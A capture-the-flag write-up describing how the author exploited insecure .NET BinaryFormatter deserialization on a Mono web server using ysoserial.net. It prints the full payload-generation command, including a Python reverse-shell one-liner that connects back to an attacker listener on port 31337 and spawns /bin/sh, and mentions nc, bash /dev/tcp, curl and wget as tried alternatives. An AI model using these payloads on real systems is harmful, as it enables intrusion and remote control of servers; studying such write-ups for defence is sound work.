problem description


This Web challenge presented a minimalistic page:


We get a link to a file of a "valid user" (exampleuser.bin), and a way to upload our own.


And submitting the file in the web form returns:


So, we have some "binary file" (with all the text in clear) which is interpreted as JSON-formatted data. A quick search for some of the strings (e.g. k__BackingField) gives us the format of the file: .net c# object. And the form is returning the de-serialized JSON interpretation of the object.

The first try is of course to play with the field, but it gave nothing interesting. For example, changing the Permission field as Admin is de-serialized the right way, but nothing more.

The server itself seems to be a Ubuntu machine running Apache: 3

There are ways to run .net on Linux, but more on that later.

De-serializing has been known for a while as a dangerous operation. A recommended presentation on "De-serialization apocalypse" is https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf which also presented .NET de-serialization dangers.

The tool of choice to create the payload for such attacks is ysoserial.net by @pwntester (one of the authors of the presentation above). It includes a bunch of gadgets and plugins, depending on the type and version of framework we try to exploit, and formats to be de-serialized. The format was the easiest part: it's "BinaryFormatter" (option: -f BinaryFormatter).

The next step is to guess which framework is used and which gadget is working there. Perhaps there were some way to recognize the precise one just by analyzing the errors from bad de-serialization, but we just tried all the relevant ones. Our first guess was ASP.NET for Linux. Reaching nothing, we tried the gadget for Mono too. By the end, it turned out to be the one. The relevant ysoserial gadget is then: -g TypeConfuseDelegateMono.

The whole binary payload can then be created by calling:

.\ysoserial.exe -g TypeConfuseDelegateMono -f BinaryFormatter --output raw --rawcmd -c "COMMAND_TO_RUN"

The missing piece (the one we didn't get on time) is to guess which executables are present on the machine that we'd like to execute (the COMMAND_TO_RUN in the line above). Not so simple since it's a blind attack and the deserialization always returns some error, even if the execution succeeded. We tried all the "usual suspects", like nc, ncat netcat, and the bash+/dev/tcp trick to get a return shell; curl and wget to see if we can get the target to make some requests to our HTTP server; etc.

But none of them were there. Turned out that python (and perl(!)) were probably the only usable executables to create a reverse shell. [on a side note: who doesn't have curl or nc on his machine!!!???]. So that a winning payload looks like:

.\ysoserial.exe -g TypeConfuseDelegateMono -f BinaryFormatter --output raw --rawcmd -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

(Replace the IP and port with your waiting nc -lp 31337 )

We then get a shell on the machine, and reading the file /etc/mono_apps/WhoAmI_Challenge/flag: